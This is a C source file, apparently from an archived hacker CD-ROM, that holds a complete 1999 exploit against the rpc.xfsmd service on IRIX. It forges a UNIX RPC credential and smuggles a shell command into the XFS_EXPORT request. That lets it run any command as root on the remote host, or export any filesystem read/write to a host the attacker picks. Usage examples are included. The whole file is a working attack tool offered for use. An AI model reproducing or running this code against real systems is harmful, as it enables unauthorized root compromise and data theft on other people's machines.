home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / irix / irx_xfsmd.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  3.5 KB  |  104 lines

  1. /*## copyright LAST STAGE OF DELIRIUM Sep 1999 poland        *://lsd-pl.net/ #*/
  2. /*## xfsmd                                                                   #*/
  3.  
  4. /*   this code forces xfsmd to execute any command on remote IRIX host or     */
  5. /*   to export any file system from it with read/write privileges.            */
  6. /*   the exploit requires that DNS is properly configured on an attacked      */
  7. /*   host. additionally, if the file systems are to be exported from a        */
  8. /*   vulnerable system, it must have NFS subsystem running.                   */
  9.  
  10. /*   example usage:                                                           */
  11. /*   xfsmd address -c "touch /etc/lsd"                                        */
  12. /*     (executes "touch /etc/lsd" command as root user on a vulnerable host)  */
  13. /*   xfsmd address -e 10.0.0.1 -d "/"                                         */
  14. /*     (exports / filesystem to the 10.0.0.1 host with rw privileges)         */ 
  15.  
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <netinet/in.h>
  19. #include <rpc/rpc.h>
  20. #include <netdb.h>
  21. #include <stdio.h>
  22. #include <errno.h>
  23.  
  24. #define XFS_PROG    391016
  25. #define XFS_VERS    1     
  26. #define XFS_EXPORT  13
  27.  
  28. typedef char *req_t;
  29. typedef struct{char *str1;int errno;}res_t;
  30.  
  31. bool_t xdr_req(XDR *xdrs,req_t *objp){
  32.     if(!xdr_string(xdrs,objp,~0)) return(FALSE);
  33.     return(TRUE);
  34. }
  35.  
  36. bool_t xdr_res(XDR *xdrs,res_t *objp){
  37.     if(!xdr_string(xdrs,&objp->str1,~0)) return(FALSE);
  38.     if(!xdr_int(xdrs,&objp->errno)) return(FALSE);
  39.     return(TRUE);
  40. }
  41.  
  42. main(int argc,char **argv){
  43.     char command[10000],*h,*cmd,*hst=NULL,*dir="/etc";
  44.     int i,port=0,flag=0,c;
  45.     CLIENT *cl;enum clnt_stat stat;
  46.     struct hostent *hp;
  47.     struct sockaddr_in adr;
  48.     struct timeval tm={10,0};
  49.     req_t req;
  50.     res_t res;
  51.  
  52.     printf("copyright LAST STAGE OF DELIRIUM Sep 1999 poland  //lsd-pl.net/\n");
  53.     printf("rpc.xfsmd for irix 6.2 6.3 6.4 6.5 6.5.16 IP:all\n\n");
  54.  
  55.     if(argc<3){
  56.         printf("usage: %s address -c \"command\" [-p port]\n",argv[0]);
  57.         printf("       %s address -e address [-d dir] [-p port]\n",argv[0]);
  58.         exit(-1);
  59.     }
  60.     while((c=getopt(argc-1,&argv[1],"c:p:e:d:"))!=-1){
  61.      switch(c){
  62.      case 'c': flag=0;cmd=optarg;break;
  63.          case 'e': flag=1;hst=optarg;break;
  64.          case 'd': dir=optarg;break;
  65.          case 'p': port=atoi(optarg);
  66.      }
  67.     }
  68.  
  69.     req=command;
  70.     if(!flag){
  71.         printf("executing %s command... ",cmd);
  72.         sprintf(req,"XFS_MNT_DIR:/tmp\nroot:;%s;",cmd);
  73.     }else{
  74.         printf("exporting %s directory to %s... ",dir,hst);
  75.         sprintf(req,"XFS_FS_NAME:%s\nroot:%s\n",dir,hst);
  76.     }
  77.  
  78.     adr.sin_family=AF_INET;
  79.     adr.sin_port=htons(port);
  80.     if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  81.         if((hp=gethostbyname(argv[1]))==NULL){
  82.             errno=EADDRNOTAVAIL;perror("error");exit(-1);
  83.         }
  84.         memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
  85.     }else{
  86.         if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){
  87.             errno=EADDRNOTAVAIL;perror("error");exit(-1);
  88.         }
  89.     }
  90.     if((h=(char*)strchr(hp->h_name,'.'))!=NULL) *(h+1)=0;
  91.     else strcat(hp->h_name,".");
  92.  
  93.     i=RPC_ANYSOCK;
  94.     if(!(cl=clnttcp_create(&adr,XFS_PROG,XFS_VERS,&i,0,0))){
  95.         clnt_pcreateerror("error");exit(-1);
  96.     }
  97.  
  98.     cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);
  99.     stat=clnt_call(cl,XFS_EXPORT,xdr_req,(void*)&req,xdr_res,(void*)&res,tm);
  100.     if(stat!=RPC_SUCCESS) {clnt_perror(cl,"error");exit(-1);}
  101.     printf("%s\n",(!flag)?"ok":((!res.errno)?"ok":"failed"));
  102. }
  103.  
  104.